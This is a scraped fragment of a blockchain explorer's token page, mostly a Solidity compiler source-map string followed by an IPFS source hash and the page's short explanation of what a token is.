:120;;;;:::o;11350:99::-;;11436:5;11430:12;11420:22;;11409:40;;;:::o;11455:169::-;;11573:6;11568:3;11561:19;11613:4;11608:3;11604:14;11589:29;;11551:73;;;;:::o;11630:305::-;;11689:20;11707:1;11689:20;:::i;:::-;11684:25;;11723:20;11741:1;11723:20;:::i;:::-;11718:25;;11877:1;11809:66;11805:74;11802:1;11799:81;11796:2;;;11883:18;;:::i;:::-;11796:2;11927:1;11924;11920:9;11913:16;;11674:261;;;;:::o;11941:185::-;;11998:20;12016:1;11998:20;:::i;:::-;11993:25;;12032:20;12050:1;12032:20;:::i;:::-;12027:25;;12071:1;12061:2;;12076:18;;:::i;:::-;12061:2;12118:1;12115;12111:9;12106:14;;11983:143;;;;:::o;12132:348::-;;12195:20;12213:1;12195:20;:::i;:::-;12190:25;;12229:20;12247:1;12229:20;:::i;:::-;12224:25;;12417:1;12349:66;12345:74;12342:1;12339:81;12334:1;12327:9;12320:17;12316:105;12313:2;;;12424:18;;:::i;:::-;12313:2;12472:1;12469;12465:9;12454:20;;12180:300;;;;:::o;12486:191::-;;12546:20;12564:1;12546:20;:::i;:::-;12541:25;;12580:20;12598:1;12580:20;:::i;:::-;12575:25;;12619:1;12616;12613:8;12610:2;;;12624:18;;:::i;:::-;12610:2;12669:1;12666;12662:9;12654:17;;12531:146;;;;:::o;12683:96::-;;12749:24;12767:5;12749:24;:::i;:::-;12738:35;;12728:51;;;:::o;12785:90::-;;12862:5;12855:13;12848:21;12837:32;;12827:48;;;:::o;12881:126::-;;12958:42;12951:5;12947:54;12936:65;;12926:81;;;:::o;13013:77::-;;13079:5;13068:16;;13058:32;;;:::o;13096:86::-;;13171:4;13164:5;13160:16;13149:27;;13139:43;;;:::o;13188:307::-;13256:1;13266:113;13280:6;13277:1;13274:13;13266:113;;;13365:1;13360:3;13356:11;13350:18;13346:1;13341:3;13337:11;13330:39;13302:2;13299:1;13295:10;13290:15;;13266:113;;;13397:6;13394:1;13391:13;13388:2;;;13477:1;13468:6;13463:3;13459:16;13452:27;13388:2;13237:258;;;;:::o;13501:320::-;;13582:1;13576:4;13572:12;13562:22;;13629:1;13623:4;13619:12;13650:18;13640:2;;13706:4;13698:6;13694:17;13684:27;;13640:2;13768;13760:6;13757:14;13737:18;13734:38;13731:2;;;13787:18;;:::i;:::-;13731:2;13552:269;;;;:::o;13827:180::-;13875:77;13872:1;13865:88;13972:4;13969:1;13962:15;13996:4;13993:1;13986:15;14013:180;14061:77;14058:1;14051:88;14158:4;14155:1;14148:15;14182:4;14179:1;14172:15;14199:180;14247:77;14244:1;14237:88;14344:4;14341:1;14334:15;14368:4;14365:1;14358:15;14385:102;;14477:2;14473:7;14468:2;14461:5;14457:14;14453:28;14443:38;;14433:54;;;:::o;14493:122::-;14566:24;14584:5;14566:24;:::i;:::-;14559:5;14556:35;14546:2;;14605:1;14602;14595:12;14546:2;14536:79;:::o;14621:122::-;14694:24;14712:5;14694:24;:::i;:::-;14687:5;14684:35;14674:2;;14733:1;14730;14723:12;14674:2;14664:79;:::o

Swarm Source

ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.